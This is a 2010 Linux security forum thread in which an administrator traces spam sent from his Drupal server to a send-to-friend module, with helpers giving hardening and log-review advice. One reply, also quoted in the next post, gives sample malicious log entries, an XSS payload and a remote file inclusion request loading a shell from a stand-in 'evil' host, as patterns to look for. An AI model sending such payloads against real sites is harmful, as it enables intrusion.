LinuxQuestions.org
Latest LQ Deal: Latest LQ Deals
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices


Reply
  Search this Thread
Old 06-29-2010, 09:18 PM   #1
yoachan
Member
 
Registered: Nov 2009
Posts: 109

Rep: Reputation: 16
my server is sending spams...


dear all,

Currently I'm having a problem with a box which keep sending spams all over the world. yesterday we upgraded some drupal modules (which can send email), and the spam quantity reduced. But still some spams keep on going out from our server. Some of them even have attachment.

Some of them sent using accounts that never exist at our server (e.g. strager@mydomain.com), and some of them are from 'nobody'.

Can anyone give me a guidance what to check, or where to look. I've check the MX-Records and there was no strange forwarders. Really stuck here...

Any help appreciated.

Best regards,

Yoachan
 
Click here to see the post LQ members have rated as the most helpful post in this thread.
Old 06-29-2010, 10:04 PM   #2
kbp
Senior Member
 
Registered: Aug 2009
Posts: 3,790

Rep: Reputation: 653Reputation: 653Reputation: 653Reputation: 653Reputation: 653Reputation: 653
Does your server have a local mta ? .. eg. sendmail, postfix, exim ...
 
Old 06-29-2010, 11:51 PM   #3
yoachan
Member
 
Registered: Nov 2009
Posts: 109

Original Poster
Rep: Reputation: 16
Exim

We use exim
 
Old 06-30-2010, 12:44 AM   #4
kbp
Senior Member
 
Registered: Aug 2009
Posts: 3,790

Rep: Reputation: 653Reputation: 653Reputation: 653Reputation: 653Reputation: 653Reputation: 653
Try disabling the drupal modules and see if the spam still continues, that should tell you where the problem is. Another option is to investigate the mail logs .. but if the drupal modules are configured to use localhost as the outbound mail server then that won't narrow down the source

cheers
 
Old 06-30-2010, 03:59 AM   #5
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
Quote:
Originally Posted by kbp View Post
Try disabling the drupal modules and see if the spam still continues, that should tell you where the problem is. Another option is to investigate the mail logs
These Drupal CVE entries show the product suffers major from coding flaws. So instead I'd start by restricting access to Drupal or shutting down the site (web server) and not focus on a single log file but check all system and web stack log files, especially the web server log (using Logwatch?).


In addition to that:
- If you run anything other than the latest version of Drupal that is bad. Running earlier versions, especially of vulnerable web stack software, holds risks.
- If you don't upgrade to the latest version because some module doesn't play nice with the latest Drupal version, consider removing that module.
- If you won't upgrade to the latest version because of some other undisclosed reason, consider moving to a CMS with a better track record.
- Ensure all files, URL or helpers required for installation are either removed after the installation (say /install.php), have the right access permissions (say the web servers document root, upload directores, sites/default/settings.php) or have restricted access (say /?q=admin/settings, /update.php or /phpmyadmin).
- Ensure configuration files httpd.conf and any includes, php.ini, my.ini do not have basic security restrictions disabled.
- Ensure all files can be verified by checking MD5 or SHA1 hashes, that you are automagically notified of any updates and that an update procedure is set (CVS, Drush).
- Perform basic host and web stack hardening.
- Ensure logging is on for all web stack components, ensure a log watcher runs regularly and read the reports.
 
2 members found this post helpful.
Old 07-01-2010, 09:32 PM   #6
yoachan
Member
 
Registered: Nov 2009
Posts: 109

Original Poster
Rep: Reputation: 16
Thank you for the replies,

Quote:
Originally Posted by kbp View Post
Try disabling the drupal modules and see if the spam still continues, that should tell you where the problem is. Another option is to investigate the mail logs .. but if the drupal modules are configured to use localhost as the outbound mail server then that won't narrow down the source

cheers
We have disabled all drupal modul that we thought will can send email and the spam reduced greatly. We've upgrade them too, but some spams seems keeps on going though not as much as before.


Quote:
Originally Posted by unSpawn View Post
These Drupal CVE entries show the product suffers major from coding flaws. So instead I'd start by restricting access to Drupal or shutting down the site (web server) and not focus on a single log file but check all system and web stack log files, especially the web server log (using Logwatch?).
What's the connection between the web server with the mail server? Can I look for email log at my apache's log?

Quote:
Originally Posted by unSpawn View Post
In addition to that:
- If you run anything other than the latest version of Drupal that is bad. Running earlier versions, especially of vulnerable web stack software, holds risks.
- If you don't upgrade to the latest version because some module doesn't play nice with the latest Drupal version, consider removing that module.
- If you won't upgrade to the latest version because of some other undisclosed reason, consider moving to a CMS with a better track record.
We've upgrade the drupal modules that we use, not to the latest though, but to the recommended version according to each module. Is it still necessary for us to upgrade to the latest one?

Quote:
Originally Posted by unSpawn View Post
- Ensure all files, URL or helpers required for installation are either removed after the installation (say /install.php), have the right access permissions (say the web servers document root, upload directores, sites/default/settings.php) or have restricted access (say /?q=admin/settings, /update.php or /phpmyadmin).
I'll check the installation files. Is it enough just by turning the execute permission OFF? (r--r--r--)

Quote:
Originally Posted by unSpawn View Post
- Ensure configuration files httpd.conf and any includes, php.ini, my.ini do not have basic security restrictions disabled.
I'll note this too. Is there any basic security restrictions that I MUST have? Where can I look? (sorry, I'm completely a newby...)

Quote:
Originally Posted by unSpawn View Post
- Ensure all files can be verified by checking MD5 or SHA1 hashes, that you are automagically notified of any updates and that an update procedure is set (CVS, Drush).
do you mean I have to run a batch of script to md5 check all my files periodically?

Quote:
Originally Posted by unSpawn View Post
- Perform basic host and web stack hardening.
I'll google it than I'll do it.

Quote:
Originally Posted by unSpawn View Post
- Ensure logging is on for all web stack components, ensure a log watcher runs regularly and read the reports.
Will do.

Thank you for all the troubles Guys....

regards,

Yoachan
 
Old 07-02-2010, 06:28 PM   #7
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
Quote:
Originally Posted by yoachan View Post
What's the connection between the web server with the mail server? Can I look for email log at my apache's log?
No, you look for any odd path requests like "/somefile.php?action=ajax&rs=%3Cscript%3Ewindow.open('http:// evil')%3C/script%3E" or "/someotherfile.php?INC=http://more evil. /loadmyshell.jpg?". You could run Logwatch and let it process all available system logs. With the report it will be easier to follow any leads. Let's leave the rest of the recovery and hardening for a later post.
 
Old 07-03-2010, 11:04 AM   #8
yoachan
Member
 
Registered: Nov 2009
Posts: 109

Original Poster
Rep: Reputation: 16
Thank you again for your answer.

Quote:
Originally Posted by unSpawn View Post
No, you look for any odd path requests like "/somefile.php?action=ajax&rs=%3Cscript%3Ewindow.open('http:// evil')%3C/script%3E" or "/someotherfile.php?INC=http://more evil. /loadmyshell.jpg?". You could run Logwatch and let it process all available system logs. With the report it will be easier to follow any leads. Let's leave the rest of the recovery and hardening for a later post.
Ok. I'll keep an eye to these kind of request.
As separate issue, I know there are some persistent request to some page that no longer exist. It's hitting our guest book some times ago. We turned the guest off for we don't need them any longer. Is there any way to block this kind of request so Apache won't even bother respond to it's request?

Regards,

YoChan
 
Old 07-17-2010, 11:35 PM   #9
yoachan
Member
 
Registered: Nov 2009
Posts: 109

Original Poster
Rep: Reputation: 16
Yup. the drupal modul forward and send to friend was causing it.
everything seems to be calming...

thanks for everyone's help.
 
Old 07-18-2010, 03:55 AM   #10
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
Thanks for sharing the nfo.
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
xinit spams newlines 1N4148 Linux - Software 1 06-05-2008 05:04 AM
Problem in controlling spams adna Linux - Security 5 07-19-2007 07:34 AM
how to configure postfix to reject spams xlh3110 Linux - Server 18 12-19-2006 08:08 AM
emails and spams alaios Linux - Networking 7 02-25-2006 01:54 PM
My victory over spams J_Szucs Linux - Networking 15 09-23-2004 02:11 AM

LinuxQuestions.org > Forums > Linux Forums > Linux - Security

All times are GMT -5. The time now is 06:14 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration